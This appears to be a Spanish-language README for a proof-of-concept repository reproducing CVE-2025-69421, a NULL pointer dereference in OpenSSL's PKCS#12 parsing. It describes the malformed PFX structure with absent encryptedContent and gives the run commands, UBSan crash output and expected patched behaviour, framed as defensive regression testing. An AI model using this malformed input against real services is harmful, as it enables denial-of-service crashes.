
Reproductor mínimo de CVE-2025-69421 que demuestra una desreferencia de puntero NULL en el procesamiento de OpenSSL PKCS#12 mediante un archivo PFX malformado con el campo encryptedContent ausente. Incluye script de generación, inspección ASN.1 y salida de fallo provocada por UBSan para pruebas de regresión defensivas.
Este repositorio contiene un archivo PKCS#12 malformado mínimo que reproduce el CVE-2025-69421 en un entorno de laboratorio aislado.
El PFX generado contiene EncryptedData cuyo EncryptedContentInfo omite el campo opcional encryptedContent. Las versiones vulnerables de OpenSSL pueden pasar un puntero ASN1_OCTET_STRING nulo desde PKCS12_unpack_p7encdata() a PKCS12_item_decrypt_d2i_ex(), que lo desreferencia sin una comprobación de nulo.
Este reproductor solo demuestra una condición de denegación de servicio. No realiza ejecución de código ni divulga información.
.
├── README.md
├── LICENSE
├── Makefile
├── generate.py
├── run.sh
├── malformed-cve-2025-69421.p12
└── evidence
└── ubsan-output.txt
Establezca el directorio de compilación antes de ejecutar el PoC:
export OPENSSL_BUILD=/path/to/openssl-build
export OPENSSL_BIN="$OPENSSL_BUILD/apps/openssl"
OPENSSL_BUILD debe contener la libcrypto.so.3 vulnerable y el binario apps/openssl correspondiente.
Se incluye un archivo pregenerado. Para recrearlo:
python3 generate.py
La salida es:
malformed-cve-2025-69421.p12
openssl asn1parse \
-inform DER \
-in malformed-cve-2025-69421.p12 \
-i
La estructura relevante es:
PFX
├── version = 3
└── authSafe: ContentInfo(data)
└── OCTET STRING
└── AuthenticatedSafe
└── ContentInfo(encryptedData)
└── EncryptedData
├── version = 0
└── EncryptedContentInfo
├── contentType = data
├── algorithm = pbeWithSHA1And3-KeyTripleDES-CBC
└── encryptedContent = absent
Usando el script auxiliar:
export OPENSSL_BUILD=/path/to/openssl-build
./run.sh
Comando manual equivalente:
export OPENSSL_BUILD=/path/to/openssl-build
export OPENSSL_BIN="$OPENSSL_BUILD/apps/openssl"
ASAN_OPTIONS='abort_on_error=1:halt_on_error=1:detect_leaks=0:symbolize=1' \
UBSAN_OPTIONS='halt_on_error=1:print_stacktrace=1' \
LD_LIBRARY_PATH="$OPENSSL_BUILD" \
"$OPENSSL_BIN" pkcs12 \
-in malformed-cve-2025-69421.p12 \
-info \
-noout \
-passin pass:test
Warning: MAC is absent!
PKCS7 Encrypted data: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 1
crypto/pkcs12/p12_decr.c:140:66: runtime error: member access within null pointer of type 'const struct ASN1_OCTET_STRING'
#0 0x... in PKCS12_item_decrypt_d2i_ex (/path/to/openssl-build/libcrypto.so.3+0x...)
#1 0x... in PKCS12_unpack_p7encdata (/path/to/openssl-build/libcrypto.so.3+0x...)
#2 0x... in dump_certs_keys_p12 (/path/to/openssl-build/apps/openssl+0x...)
#3 0x... in pkcs12_main (/path/to/openssl-build/apps/openssl+0x...)
Los indicadores importantes son:
member access within null pointer
PKCS12_item_decrypt_d2i_ex
PKCS12_unpack_p7encdata
Una compilación corregida de OpenSSL debería rechazar la entrada malformada sin que un sanitizador encuentre algo o sin un fallo del proceso. El error puede incluir:
PKCS12_item_decrypt_d2i_ex:passed a null parameter
CVE: CVE-2025-69421
Component: OpenSSL PKCS#12 processing
Trigger: EncryptedData with absent encryptedContent
Fault: NULL pointer dereference
Function: PKCS12_item_decrypt_d2i_ex()
Reachable through: PKCS12_unpack_p7encdata()
Impact: Denial of Service
Utilice este reproductor solo en sistemas que posea o para los que tenga autorización explícita para realizar pruebas. El artefacto incluido está destinado a la validación defensiva y a las pruebas de regresión.